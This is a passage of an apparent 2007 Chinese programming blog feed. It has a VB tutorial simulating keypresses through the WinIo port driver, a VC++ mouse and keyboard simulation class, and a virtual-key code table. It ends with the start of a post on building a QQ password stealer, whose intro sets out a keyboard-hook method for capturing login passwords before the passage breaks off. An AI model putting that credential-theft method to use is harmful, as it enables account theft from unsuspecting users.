;Function&nbsp;InstallWinIoDriver&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;(ByVal&nbsp;DriverPath&nbsp;As&nbsp;String,&nbsp;ByVal&nbsp;Mode&nbsp;As&nbsp;Integer)&nbsp;As&nbsp;Boolean<br>Declare&nbsp;Function&nbsp;RemoveWinIoDriver&nbsp;Lib&nbsp;"WinIo.dll"&nbsp;()&nbsp;As&nbsp;Boolean</p>
<p>'&nbsp;------------------------------------以上是WINIO函数声明-------------------------------------------</p>
<p>Declare&nbsp;Function&nbsp;MapVirtualKey&nbsp;Lib&nbsp;"user32"&nbsp;Alias&nbsp;"MapVirtualKeyA"&nbsp;(ByVal&nbsp;wCode&nbsp;As&nbsp;Long,&nbsp;ByVal&nbsp;wMapType&nbsp;As&nbsp;Long)&nbsp;As&nbsp;Long</p>
<p>'-----------------------------------以上是WIN32&nbsp;API函数声明-----------------------------------------</p>
<p>再添加下面这个过程：<br>Sub&nbsp;KBCWait4IBE()&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>Dim&nbsp;dwVal&nbsp;As&nbsp;Long<br>&nbsp;&nbsp;Do<br>&nbsp;&nbsp;GetPortVal&nbsp;&amp;H64,&nbsp;dwVal,&nbsp;1<br>'这句表示从&amp;H64端口读取一个字节并把读出的数据放到变量dwVal中<br>'GetPortVal函数的用法是GetPortVal&nbsp;端口号,存放读出数据的变量,读入的长度<br>&nbsp;&nbsp;Loop&nbsp;While&nbsp;(dwVal&nbsp;And&nbsp;&amp;H2)<br>End&nbsp;Sub<br>上面的是一个根据KBC规范写的过程，它的作用是在向键盘端口写入数据前等待一段时间，后面将会用到。<br>然后再添加如下过程，这2个过程用来模拟按键：</p>
<p>Public&nbsp;Const&nbsp;KBC_KEY_CMD&nbsp;=&nbsp;&amp;H64&nbsp;&nbsp;&nbsp;&nbsp;'键盘命令端口<br>Public&nbsp;Const&nbsp;KBC_KEY_DATA&nbsp;=&nbsp;&amp;H60&nbsp;&nbsp;&nbsp;'键盘数据端口</p>
<p>Sub&nbsp;MyKeyDown(ByVal&nbsp;vKeyCoad&nbsp;As&nbsp;Long)&nbsp;&nbsp;&nbsp;<br>'这个用来模拟按下键，参数vKeyCoad传入按键的虚拟码<br>Dim&nbsp;btScancode&nbsp;As&nbsp;Long<br>btScancode&nbsp;=&nbsp;MapVirtualKey(vKeyCoad,&nbsp;0)<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'发送数据前应该先等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'发送键盘写入命令<br>'SetPortVal函数用于向端口写入数据，它的用法是SetPortVal&nbsp;端口号,欲写入的数据，写入数据的长度<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;btScancode,&nbsp;1&nbsp;&nbsp;'写入按键信息,按下键<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>End&nbsp;Sub</p>
<p>&nbsp;Sub&nbsp;MyKeyUp(ByVal&nbsp;vKeyCoad&nbsp;As&nbsp;Long)&nbsp;&nbsp;&nbsp;<br>'这个用来模拟释放键，参数vKeyCoad传入按键的虚拟码<br>Dim&nbsp;btScancode&nbsp;As&nbsp;Long<br>btScancode&nbsp;=&nbsp;MapVirtualKey(vKeyCoad,&nbsp;0)<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;'发送键盘写入命令<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;(btScancode&nbsp;Or&nbsp;&amp;H80),&nbsp;1&nbsp;&nbsp;'写入按键信息，释放键</p>
<p>End&nbsp;Sub</p>
<p><br>定义了上面的过程后，就可以用它来模拟键盘输入了。在窗体模块中添加一个定时器控件，然后加入以下代码：</p>
<p><br>
<table cellSpacing=1 cellPadding=4 width="80%" align=center>
    <tbody>
        <tr>
            <td class=quote>Private&nbsp;Sub&nbsp;Form_Load()
            <p>&#160;</p>
            <p>&nbsp;If&nbsp;InitializeWinIo&nbsp;=&nbsp;False&nbsp;Then&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;'用InitializeWinIo函数加载驱动程序，如果成功会返回true，否则返回false<br>&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;"驱动程序加载失败!"<br>&nbsp;&nbsp;&nbsp;&nbsp;Unload&nbsp;Me<br>&nbsp;End&nbsp;If<br>Timer1.Interval=3000<br>Timer1.Enabled=True<br>End&nbsp;Sub</p>
            <p>Private&nbsp;Sub&nbsp;Form_Unload(Cancel&nbsp;As&nbsp;Integer)<br>&nbsp;ShutdownWinIo&nbsp;'程序结束时记得用ShutdownWinIo函数卸载驱动程序<br>End&nbsp;Sub</p>
            <p>Private&nbsp;Sub&nbsp;Timer1_Timer()<br>Dim&nbsp;VK_A&nbsp;as&nbsp;Long&nbsp;=&nbsp;&amp;H41&nbsp;<br>MyKeyDown&nbsp;VK_A&nbsp;&nbsp;&nbsp;&nbsp;<br>MyKeyUp&nbsp;VK_A&nbsp;&nbsp;&nbsp;&nbsp;'模拟按下并释放A键<br>End&nbsp;Sub<br>[/quote]<br>运行上面的程序，就会每隔3秒钟模拟按下一次A键，试试看，怎么样，是不是对所有程序都有效果了？<br>需要注意的问题：<br>要在VB的调试模式下使用WINIO，需要把那3个文件拷贝到VB的安装目录中。<br>键盘上有些键属于扩展键(比如键盘上的方向键就是扩展键)，对于扩展键不应该用上面的MyKeyDown和MyKeyUp过程来模拟，可以使用下面的2个过程来准确模拟扩展键：<br>[quote]Sub&nbsp;MyKeyDownEx(ByVal&nbsp;vKeyCoad&nbsp;As&nbsp;Long)&nbsp;&nbsp;&nbsp;'模拟扩展键按下，参数vKeyCoad是扩展键的虚拟码<br>Dim&nbsp;btScancode&nbsp;As&nbsp;Long<br>btScancode&nbsp;=&nbsp;MapVirtualKey(vKeyCoad,&nbsp;0)</p>
            <p>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'发送键盘写入命令<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;&amp;HE0,&nbsp;1&nbsp;&nbsp;'写入扩展键标志信息<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'发送键盘写入命令<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;btScancode,&nbsp;1&nbsp;&nbsp;'写入按键信息,按下键<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>End&nbsp;Sub</p>
            <p><br>Sub&nbsp;MyKeyUpEx(ByVal&nbsp;vKeyCoad&nbsp;As&nbsp;Long)&nbsp;&nbsp;&nbsp;'模拟扩展键弹起<br>Dim&nbsp;btScancode&nbsp;As&nbsp;Long<br>btScancode&nbsp;=&nbsp;MapVirtualKey(vKeyCoad,&nbsp;0)</p>
            <p>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'发送键盘写入命令<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;&amp;HE0,&nbsp;1&nbsp;&nbsp;'写入扩展键标志信息<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE&nbsp;&nbsp;&nbsp;'等待键盘缓冲区为空<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_CMD,&nbsp;&amp;HD2,&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'发送键盘写入命令<br>&nbsp;&nbsp;&nbsp;&nbsp;KBCWait4IBE<br>&nbsp;&nbsp;&nbsp;&nbsp;SetPortVal&nbsp;KBC_KEY_DATA,&nbsp;(btScancode&nbsp;Or&nbsp;&amp;H80),&nbsp;1&nbsp;&nbsp;'写入按键信息，释放键<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>End&nbsp;Sub<br>[/quote]<br>还应该注意的是，如果要从扩展键转换到普通键，那么普通键的KeyDown事件应该发送两次。也就是说，如果我想模拟先按下一个扩展键，再按下一个普通键，那么就应该向端口发送两次该普通键被按下的信息。比如，我想模拟先按下左方向键，再按下空格键这个事件，由于左方向键是扩展键，空格键是普通键，那么流程就应该是这样的：<br>[quote]MyKeyDownEx&nbsp;VK_LEFT&nbsp;&nbsp;&nbsp;'按下左方向键<br>Sleep&nbsp;200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'延时200毫秒<br>MyKeyUpEx&nbsp;VK_LEFT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'释放左方向键</p>
            <p>Sleep&nbsp;500<br>MyKeyDown&nbsp;VK_SPACE&nbsp;&nbsp;&nbsp;'按下空格键，注意要发送两次<br>MyKeyDown&nbsp;VK_SPACE<br>Sleep&nbsp;200<br>MyKeyUp&nbsp;VK_SPACE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'释放空格键<br></p>
            </td>
        </tr>
    </tbody>
</table>
<br><br>好了，相信到这里，你的模拟按键程序也就差不多了，测试一下，是不是很有效呢，嘿嘿~~~~<br>WINIO组件的下载地址：<a href="http://www.114vip.com.cn/download/winio.zip" target=_blank><u><font color=#0000ff>http://www.114vip.com.cn/download/winio.zip</font></u></a><br>4.骨灰级模拟<br>&nbsp;&nbsp;&nbsp;&nbsp;方法3算是很底层的模拟了，我现在还没有发现有它模拟无效的程序。但是如果你用尽上面所有的方法，仍然无效的话，那么还有最后一个方法，绝对对任何程序都会有效，那就是：把键盘拿出来，老老实实地按下去吧。~~~~<br></p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28443.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-20 15:50 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/20/28443.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vc模拟鼠标键盘操作实用类</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/19/28382.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Thu, 19 Jul 2007 13:36:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/19/28382.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28382.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/19/28382.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28382.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28382.html</trackback:ping><description><![CDATA[//******************&nbsp;类mk头文件mk.h&nbsp;**************************<br>#if&nbsp;!defined(AFX_MK_H__B024D48F_090A_4F6F_A199_32996DF699B3__INCLUDED_)<br>#define&nbsp;AFX_MK_H__B024D48F_090A_4F6F_A199_32996DF699B3__INCLUDED_
<p>&#160;</p>
<p>#if&nbsp;_MSC_VER&nbsp;&gt;&nbsp;1000<br>#pragma&nbsp;once<br>#endif&nbsp;//&nbsp;_MSC_VER&nbsp;&gt;&nbsp;1000<br>#include&nbsp;"winable.h"</p>
<p>class&nbsp;mk<br>{<br>public: <br>mk();<br><br>static&nbsp;void&nbsp;Key(BYTE&nbsp;k,&nbsp;int&nbsp;mSeconds=0);//按一个键，mSeconds表按键后到<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//下一次操作延迟的时间：ms<br>static&nbsp;void&nbsp;Key2(BYTE&nbsp;k1,&nbsp;BYTE&nbsp;k2,int&nbsp;mSeconds=0);//按2个键<br>static&nbsp;void&nbsp;Key3(BYTE&nbsp;k1,BYTE&nbsp;k2,BYTE&nbsp;k3,int&nbsp;mSeconds=0);//按3个键<br><br>static&nbsp;void&nbsp;Click(int&nbsp;x,int&nbsp;y,int&nbsp;mSeconds=0);//单击<br>static&nbsp;void&nbsp;RClick(int&nbsp;x,int&nbsp;y,int&nbsp;mSeconds=0);//右击<br>static&nbsp;void&nbsp;DClick(int&nbsp;x,int&nbsp;y,int&nbsp;mSeconds=0);//双击<br>static&nbsp;void&nbsp;CtrlClick(int&nbsp;x,&nbsp;int&nbsp;y,&nbsp;int&nbsp;mSeconds=0);//Ctrl+单击<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;void&nbsp;Drag(int&nbsp;x1,int&nbsp;y1,int&nbsp;x2,int&nbsp;y2,int&nbsp;mSeconds=0);//鼠标拖动</p>
<p>virtual&nbsp;~mk();<br><br>};</p>
<p>#endif&nbsp;//&nbsp;!defined(AFX_MK_H__B024D48F_090A_4F6F_A199_32996DF699B3__INCLUDED_)<br>//******************&nbsp;类mk头文件mk.h&nbsp;end**************************<br>//******************&nbsp;类mk实现文件mk.cpp&nbsp;**************************<br>#include&nbsp;"stdafx.h"<br>#include&nbsp;"mk.h"<br>#ifdef&nbsp;_DEBUG<br>#undef&nbsp;THIS_FILE<br>static&nbsp;char&nbsp;THIS_FILE[]=__FILE__;<br>#define&nbsp;new&nbsp;DEBUG_NEW<br>#endif</p>
<p>//////////////////////////////////////////////////////////////////////<br>//&nbsp;Construction/Destruction<br>//////////////////////////////////////////////////////////////////////</p>
<p>mk::mk()<br>{</p>
<p>}</p>
<p>mk::~mk()<br>{</p>
<p>}<br>void&nbsp;mk::Click(int&nbsp;x,&nbsp;int&nbsp;y,&nbsp;int&nbsp;mSeconds)<br>{<br>SetCursorPos(x,y);<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>Sleep(mSeconds);<br>}<br>void&nbsp;mk::DClick(int&nbsp;x,&nbsp;int&nbsp;y,&nbsp;int&nbsp;mSeconds)<br>{<br>SetCursorPos(x,y);<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>Sleep(mSeconds);<br>}</p>
<p>void&nbsp;mk::Drag(int&nbsp;x1,&nbsp;int&nbsp;y1,&nbsp;int&nbsp;x2,&nbsp;int&nbsp;y2,&nbsp;int&nbsp;mSeconds)<br>{<br>SetCursorPos(x1,y1);<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>SetCursorPos(x2,y2);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>Sleep(mSeconds);<br>}</p>
<p>void&nbsp;mk::RClick(int&nbsp;x,&nbsp;int&nbsp;y,&nbsp;int&nbsp;mSeconds)<br>{<br>SetCursorPos(x,y);<br>mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);<br>Sleep(mSeconds);<br>}<br>void&nbsp;mk::Key(BYTE&nbsp;k,&nbsp;int&nbsp;mSeconds)<br>{<br>keybd_event(k,0,0,0);<br>keybd_event(k,0,KEYEVENTF_KEYUP,0);&nbsp;<br>Sleep(mSeconds);<br>}<br>void&nbsp;mk::Key2(BYTE&nbsp;k1,&nbsp;BYTE&nbsp;k2,&nbsp;int&nbsp;mSeconds)<br>{<br>//法1<br>//keybd_event(k1,&nbsp;0,&nbsp;0&nbsp;,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;//keybd_event(k2,&nbsp;0,&nbsp;0&nbsp;,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;//keybd_event(k2,&nbsp;0,&nbsp;KEYEVENTF_KEYUP,0);<br>&nbsp;&nbsp;&nbsp;&nbsp;//keybd_event(k1,&nbsp;0,&nbsp;KEYEVENTF_KEYUP,0);<br>//法2,更通用,但须先#include&nbsp;"winable.h"<br>INPUT&nbsp;input[4];<br>&nbsp;&nbsp;&nbsp;&nbsp;memset(input,0,sizeof(input));<br>&nbsp;&nbsp;&nbsp;&nbsp;input[0].type=input[1].type=input[2].type=input[3].type=INPUT_KEYBOARD;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[0].ki.wVk=input[3].ki.wVk=k1;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[1].ki.wVk=input[2].ki.wVk=k2;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[2].ki.dwFlags&nbsp;=&nbsp;input[3].ki.dwFlags&nbsp;=&nbsp;KEYEVENTF_KEYUP;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;SendInput(4,&nbsp;input,&nbsp;sizeof(INPUT));</p>
<p>Sleep(mSeconds);<br>}</p>
<p>void&nbsp;mk::CtrlClick(int&nbsp;x,&nbsp;int&nbsp;y,&nbsp;int&nbsp;mSeconds)<br>{<br>SetCursorPos(x,y);<br>keybd_event(VK_CONTROL&nbsp;,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);<br>mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);<br>keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);<br>Sleep(mSeconds);<br>}</p>
<p>void&nbsp;mk::Key3(BYTE&nbsp;k1,&nbsp;BYTE&nbsp;k2,&nbsp;BYTE&nbsp;k3,&nbsp;int&nbsp;mSeconds)<br>{<br>if(k1==VK_CONTROL&amp;&amp;k2==VK_MENU&amp;&amp;k3==VK_DELETE)<br>ShellExecute(NULL,NULL,"taskmgr.exe",NULL,NULL,SW_SHOW);<br>else<br>{<br>INPUT&nbsp;input[6];<br>&nbsp;&nbsp;&nbsp;&nbsp;memset(input,0,sizeof(input));<br>&nbsp;&nbsp;&nbsp;&nbsp;input[0].type=input[1].type=input[2].type=input[3].type=input[4].type=input[5].type=INPUT_KEYBOARD;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[0].ki.wVk=input[5].ki.wVk=k1;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[1].ki.wVk=input[4].ki.wVk=k2;<br>input[2].ki.wVk=input[3].ki.wVk=k3;<br>&nbsp;&nbsp;&nbsp;&nbsp;input[3].ki.dwFlags=input[4].ki.dwFlags=input[5].ki.dwFlags=KEYEVENTF_KEYUP;<br>&nbsp;&nbsp;&nbsp;&nbsp;SendInput(6,&nbsp;input,&nbsp;sizeof(INPUT));<br>}</p>
<p>Sleep(mSeconds);<br>}</p>
<p>//******************&nbsp;类mk实现文件mk.cpp&nbsp;end**************************</p>
<br><br><br>===================================================================<br><br><u><font color=#810081>&nbsp;VC模拟键盘操作</font></u>
<div class=postText>
<p>&nbsp;INPUT input[4];<br>&nbsp;memset(input, 0, sizeof(input));</p>
<p>&nbsp;//设置模拟键盘输入<br>&nbsp;input[0].type = input[1].type = input[2].type = input[3].type = INPUT_KEYBOARD;<br>&nbsp;input[0].ki.wVk&nbsp; = input[2].ki.wVk = VK_CONTROL;<br>&nbsp;input[1].ki.wVk&nbsp; = input[3].ki.wVk = VK_ESCAPE;</p>
<p>&nbsp;// 释放按键<br>&nbsp;input[2].ki.dwFlags = input[3].ki.dwFlags = KEYEVENTF_KEYUP;</p>
<p>&nbsp;SendInput(4, input, sizeof(INPUT));&nbsp;</p>
</div>
<br><br>*********************************************************************************<br>符号常量 十六进制值 指定的鼠标或键盘按键<br>　　VK_LBUTTON 01 鼠标左键<br>　　VK_RBUTTON 02 鼠标右键<br>　　VK_CANCEL 03 Control-break 过程<br>　　VK_MBUTTON 04 鼠标中键<br>　　VK_BACK 08 BACKSPACE 键<br>　　VK_TAB 09 TAB 键<br>　　VK_CLEAR 0C CLEAR 键<br>　　VK_RETURN 0D ENTER 键<br>　　VK_SHIFT 10 SHIFT 键<br>　　VK_CONTROL 11 CTRL 键<br>　　VK_MENU 12 ALT 键<br>　　VK_PAUSE 13 PAUSE 键<br>　　VK_CAPITAL 14 CAPS LOCK 键<br>　　VK_ESCAPE 1B ESC 键<br>　　VK_SPACE 20 SPACEBAR<br>　　VK_PRIOR 21 PAGE UP 键<br>　　VK_NEXT 22 PAGE DOWN 键<br>　　VK_END 23 END 键<br>　　VK_HOME 24 HOME 键<br>　　VK_LEFT 25 LEFT ARROW 键<br>　　VK_UP 26 UP ARROW 键<br>　　VK_RIGHT 27 RIGHT ARROW 键<br>　　VK_DOWN 28 DOWN ARROW 键<br>　　VK_SELECT 29 SELECT 键<br>　　VK_EXECUTE 2B EXECUTE 键<br>　　VK_SNAPSHOT 2C PRINT SCREEN键（用于Windows 3.0及以后版本）<br>　　VK_INSERT 2D INS 键<br>　　VK_DELETE 2E DEL 键<br>　　VK_HELP 2F HELP 键<br>　　///////////////////////////////////////////////////<br>　　对于字母键和非小键盘上的数字键,直接在单引号中加入该键就行.<br>　　比如:a键:'A'<br>　　 1键:'1'<br>　　//////////////////////////////////////////////<br><br>　　VK_LWIN 5B Left Windows 键 (Microsoft自然键盘)<br>　　VK_RWIN 5C Right Windows 键 (Microsoft自然键盘)<br>　　VK_APPS 5D Applications 键 (Microsoft自然键盘)<br>　　VK_NUMPAD0 60 数字小键盘上的 0 键<br>　　VK_NUMPAD1 61 数字小键盘上的 1 键<br>　　VK_NUMPAD2 62 数字小键盘上的 2 键<br>　　VK_NUMPAD3 63 数字小键盘上的 3 键<br>　　VK_NUMPAD4 64 数字小键盘上的 4 键<br>VK_NUMPAD5 65 数字小键盘上的 5 键<br>　　VK_NUMPAD6 66 数字小键盘上的 6 键<br>　　VK_NUMPAD7 67 数字小键盘上的 7 键<br>　　VK_NUMPAD8 68 数字小键盘上的 8 键<br>　　VK_NUMPAD9 69 数字小键盘上的 9 键<br>　　VK_MULTIPLY 6A Multiply 键<br>　　VK_ADD 6B Add 键<br>　　VK_SEPARATOR 6C Separator 键<br>　　VK_SUBTRACT 6D Subtract 键<br>　　VK_DECIMAL 6E Decimal 键<br>　　VK_DIVIDE 6F Divide 键<br>　　VK_F1 70 F1 键<br>　　VK_F2 71 F2 键<br>　　VK_F3 72 F3 键<br>　　VK_F4 73 F4 键<br>　　VK_F5 74 F5 键<br>　　VK_F6 75 F6 键<br>　　VK_F7 76 F7 键<br>　　VK_F8 77 F8 键<br>　　VK_F9 78 F9 键<br>　　VK_F10 79 F10 键<br>　　VK_F11 7A F11 键<br>　　VK_F12 7B F12 键<br>　　VK_F13 7C F13 键<br>　　VK_F14 7D F14 键<br>　　VK_F15 7E F15 键<br>　　VK_F16 7F F16 键<br>　　VK_F17 80H F17 键<br>　　VK_F18 81H F18 键<br>　　VK_F19 82H F19 键<br>　　VK_F20 83H F20 键<br>　　VK_F21 84H F21 键<br>　　VK_F22 85H F22 键<br>　　VK_F23 86H F23 键<br>　　VK_F24 87H F24 键<br>　　VK_NUMLOCK 90 NUM LOCK 键<br>　　VK_SCROLL 91 SCROLL LOCK 键<br>　　VK_ATTN F6 Attn 键<br>　　VK_CRSEL F7 CrSel 键<br>　　VK_EXSEL F8 ExSel 键<br>　　VK_EREOF F9 Erase EOF 键<br>VK_PLAY FA Play 键<br>　　VK_ZOOM FB Zoom 键<br>　　VK_OEM_CLEAR FE Clear 键<br>　　<br>　　举例:<br>　　<br>　　(一)响应单独的按键:<br>　　先添加PreTranslateMessage()(响应WM_CHAR)也是同样的效果,因为本例只捕捉键盘)<br>　　BOOL CMydilog::PreTranslateMessage(MSG* pMsg) <br>　　{<br><br>　　 // TODO: Add your specialized code here and/or call the base class<br>　　 if (pMsg-&gt;message == WM_KEYDOWN)<br>　　 {<br>　　 if(pMsg-&gt;wParam=='M')//直接用上面的虚码代替就可以响应所指键<br>　　 MessageBox("hello");//如果按下M键弹出消息.比如想当按下小键盘1时<br>　　 //弹出就用VK_NUMPAD1代替'M'<br>　　}<br>　　 return CDialog::PreTranslateMessage(pMsg);<br>　　}<br><br>　　(二)组合键的用法:(本例响应Ctrl+X键)<br>　　BOOL CMydilog::PreTranslateMessage(MSG* pMsg) <br>　　{<br>　　 // TODO: Add your specialized code here and/or call the base class<br>　　 <br>　　 if (pMsg-&gt;message == WM_KEYDOWN)<br>　　 {<br>　　 switch (pMsg-&gt;wParam)<br>　　 { <br>　　 case VK_ESCAPE:<br>　　 SetFocus ();<br>　　 return TRUE;<br>　　 case 'X':<br>　　 if(::GetKeyState(VK_CONTROL) &lt; 0)//如果是Shift+X这里就<br>　　 //改成VK_SHIFT<br>　　 MessageBox("hello");<br>　　 return TRUE;<br>　　 <br>　　 }<br>　　 }<br>　　 return CDialog::PreTranslateMessage(pMsg);<br>　　}
<p>&#160;</p>
<br clear=all>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28382.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-19 21:36 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/19/28382.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C语言实现QQ密码大盗</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/04/27469.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Wed, 04 Jul 2007 03:34:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/04/27469.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/27469.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/04/27469.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/27469.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/27469.html</trackback:ping><description><![CDATA[<div id=article>一般的盗密码的软件的软件都是通过监视键盘来获得密码，这样操作比较方便，但是这样也存在一定问题，密码有的时候不是很准确，因为有的人输入密码并不是从前到后输入，当然这样的人也是少数，盗密码嘛，当然去得到那些比较粗心的人的密码！ 通过安装钩子来监视<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆界面就是获得密码的方法，在安装前得先找到登陆窗口的句柄，当钩子安装后，记录键盘，当用户&#8220;回车&#8221;或是点了&#8220;登陆&#8221;就可以开始处理密码了！ 我准备分为四部分来说明这个整个过程： <br><br>　　（1）寻找<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆界面。 <br><br>　　（2）安装钩子 <br><br>　　（3）钩子函数的解释. <br><br>　　（4）处理密码。 <br><br>　　以下部分全是使用C语言，文章中我假设读者您是会C/SDK编程的。如果遇到相关的概念性问题，您可以查看MSDN或是上BBS 询问！ <br><br>　　寻找<a class=a_link href="http://www.xker.com/article/articlelist/article_12_adddate_desc_1.htm" target=_blank><u><font color=#0000ff>QQ</font></u></a>登陆界面 <br><br>　　软件运行后，利用安装定时器，每秒在系统找<a class=a_link 